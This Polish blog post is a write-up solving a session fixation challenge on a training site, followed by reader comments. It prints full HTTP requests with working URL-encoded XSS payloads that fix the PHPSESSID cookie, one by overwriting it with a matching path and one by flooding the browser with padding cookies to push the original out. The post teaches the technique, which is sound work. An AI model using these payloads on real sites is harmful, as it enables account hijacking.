Przykład z session fixation nie jest tak ciekawy, jak ten z XSS przygotowany przez Krzyśka. Jego rozwiązanie jest dość proste - na formatce logowania jest XSS w parametrze target, który musi zostać przekazany w GET. A skoro jest XSS, to w zasadzie zadanie jest już rozwiązane. Prawie.
Session Fixation: rozwiązanie
Prawie. Przeglądarki nie chronią cookies przed nadpisaniem. Można je nadpisać nawet wtedy, gdy są one oznaczane flagami typu httpOnly czy secure. Temat ten dość dobrze jest opisany w Browser Security Handbook w rozdziale Same Origin Policy for Cookies.
Nowe cookie o znanej wartości można ustawić na dwa sposoby. To znaczy sposobów jest więcej, ale są co najmniej dwa sposoby na nadpisanie tego jednego konkretnego punktu:
- ustawienie nowego cookie z odpowiednimi parametrami,
- magiczny termin: cookie eviction,
Każde cookie jest ustawiane z dodatkowymi parametrami, między innymi:
- ścieżka,
- domena,
By nowe cookie nadpisało to już istniejące, zgadzać się muszą:
- jego nazwa,
- ścieżka i domena,
Jeśli zgadza się tylko nazwa, przeglądarka zaakceptuje kolejne cookie o tej samej nazwie. A które cookie będzie wysłane do serwera? To zależy, ale najczęściej - oba. Różna może być również kolejność w jakiej są one wysyłane do serwera, serwer użyje tego cookie, które mu pasuje. Tu mam takie luźne skojarzenie z HTTP Parameter Pollution.
By rozwiązać problem z "dodawaniem" nowego cookie, wystarczy przy document.cookie ustawić dokładnie takie same parametry, jak użyte są przy oryginalnym cookie.
Jest też inna, również ciekawa metoda. Na czym ona polega? Przeglądarki, przynajmniej większość z nich, mają limit na ilość cookies dla określonej domeny. Jeśli wartość ta zostaje przekroczona, najstarsze ciastka zostają "gubione". Wystarczy więc ustawić kilkadziesiąt ciastek o losowych nazwach i na końcu ponownie ustawić PHPSESSID. Ponieważ "poprzednie" cookie zostało zgubione, przeglądarka wyśle to nowe.
Całość może wyglądać tak:
Przyjrzyjmy się jak to wygląda w praktyce. W pierwszym przypadku sekwencja (żądania) wygląda mniej więcej tak:
GET http://bootcamp.threats.pl/lesson21/?target=%22%3E%3Cscript%3Edocument.cookie=%22PHPSESSID=fixated;%20path=/%22%3C/script%3E%3Cbr%20foo=%22 HTTP/1.1 Host: bootcamp.threats.pl Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4 Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.3
Na to żądanie serwer odpowiada ustawiając identyfikator sesji:
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Connection: close Content-Type: text/html Date: Mon, 18 Oct 2010 20:13:04 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Pragma: no-cache Server: IdeaWebServer/v0.70 Set-Cookie: PHPSESSID=1d3ca2b3d279571933d9ceeb403bc17f; path=/ X-Powered-By: PHP/5.2.14
Okazuje się jednak, że payload osadzony w XSS spełnił swoje zadanie, bo przy próbie uwierzytelnienia wysyłane jest już inne cookie:
POST http://bootcamp.threats.pl/lesson21/?target=%22%3E%3Cscript%3Edocument.cookie=%22PHPSESSID=fixated;%20path=/%22%3C/script%3E%3Cbr%20foo=%22 HTTP/1.1 Host: bootcamp.threats.pl Connection: keep-alive Referer: http://bootcamp.threats.pl/lesson21/?target=%22%3E%3Cscript%3Edocument.cookie=%22PHPSESSID=fixated;%20path=/%22%3C/script%3E%3Cbr%20foo=%22 Content-Length: 32 Cache-Control: max-age=0 Origin: http://bootcamp.threats.pl Content-Type: application/x-www-form-urlencoded Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4 Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=fixated login=test&password=test&target=
W przypadku drugiego przykładu ograniczę się do samego ostatniego żądania wysyłanego przez przeglądarkę. Wygląda ono tak:
POST http://bootcamp.threats.pl/lesson21/?target=%22%3e%3cscript%3efor+(i%3d0%3bi%3c100%3bi%2b%2b)+%7bdocument.cookie%3d%22PADDING%22%2bi%2b%22%3dpadding%22%3b%7d+document.cookie%3d%22PHPSESSID%3dfixated%22%3b%3c%2fscript%3e%3cbr+foo%3d%22 HTTP/1.1 Host: bootcamp.threats.pl Connection: keep-alive Referer: http://bootcamp.threats.pl/lesson21/?target=%22%3e%3cscript%3efor+(i%3d0%3bi%3c100%3bi%2b%2b)+%7bdocument.cookie%3d%22PADDING%22%2bi%2b%22%3dpadding%22%3b%7d+document.cookie%3d%22PHPSESSID%3dfixated%22%3b%3c%2fscript%3e%3cbr+foo%3d%22 Content-Length: 32 Cache-Control: max-age=0 Origin: http://bootcamp.threats.pl Content-Type: application/x-www-form-urlencoded Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4 Accept-Charset: ISO-8859-2,utf-8;q=0.7;*;q=0.3 Cookie: PADDING41=padding; PADDING42=padding; PADDING43=padding; PADDING44=padding; PADDING45=padding; PADDING46=padding; PADDING47=padding; PADDING48=padding; PADDING49=padding; PADDING50=padding; PADDING51=padding; PADDING52=padding; PADDING53=padding; PADDING54=padding; PADDING55=padding; PADDING56=padding; PADDING57=padding; PADDING58=padding; PADDING59=padding; PADDING60=padding; PADDING61=padding; PADDING62=padding; PADDING63=padding; PADDING64=padding; PADDING65=padding; PADDING66=padding; PADDING67=padding; PADDING68=padding; PADDING69=padding; PADDING70=padding; PADDING71=padding; PADDING72=padding; PADDING73=padding; PADDING74=padding; PADDING75=padding; PADDING76=padding; PADDING77=padding; PADDING78=padding; PADDING79=padding; PADDING80=padding; PADDING81=padding; PADDING82=padding; PADDING83=padding; PADDING84=padding; PADDING85=padding; PADDING86=padding; PADDING87=padding; PADDING88=padding; PADDING89=padding; PADDING90=padding; PADDING91=padding; PADDING92=padding; PADDING93=padding; PADDING94=padding; PADDING95=padding; PADDING96=padding; PADDING97=padding; PADDING98=padding; PADDING99=padding; PHPSESSID=fixated login=test&password=test&target=
Jak prawie widać, przeglądarka wysyła serię cookies "wypełniaczy" i na końcu wysyła ustawione przez atakującego cookie PHPSESSID.
W ramach ciekawostki można sobie sprawdzić jak poszczególne przeglądarki zachowają się przy adresach (linkach) tej postaci. Chodzi mi tu przede wszystkim o wbudowaną w przeglądarki (lub dodawaną poprzez rozszerzenia) funkcję ochrony przed cross-site scripting.
Co do ustawiania ciastek można również próbować wysycić globalny limit ciastek w przeglądarce, wypełniając je ciachami z innych domen, aż to dla naszej atakowanej domeny wygaśnie (ale to wymaga kilkudziesięciu domen, przynajmniej dla aktualnego Firefoxa). Pomysł jest bodajże rsnake'a, a szczegóły np tu http://jeremiahgrossman.blogspot.com/2010/07/patching-auto-complete-vulnerabilities.html. Wtedy również można ominąć httpOnly'owość ciastka, a nawet jego secure'owość, co łatwo prowadzi do session fixation.
Cieszę się, że Ci się podoba mój XSS hackme - została jeszcze jedna nieujawniona podatność (dla IE), jeśli masz czas, zapraszam, choć to mniejsze wyzwanie niż ten "numer" z cookie.
Jak patrzyłem na szybko na Twój przykład, to bardzo się skupiłem na jednej rzeczy, która rzuca się w oczy - brak określenia encodingu znaków. Teoretycznie daje to pewną drogę ataku w połączeniu z htmlspecialchars. Ale sądząc po Twojej uwadze o konieczności posiadania własnego serwera, to raczej chodzi o coś innego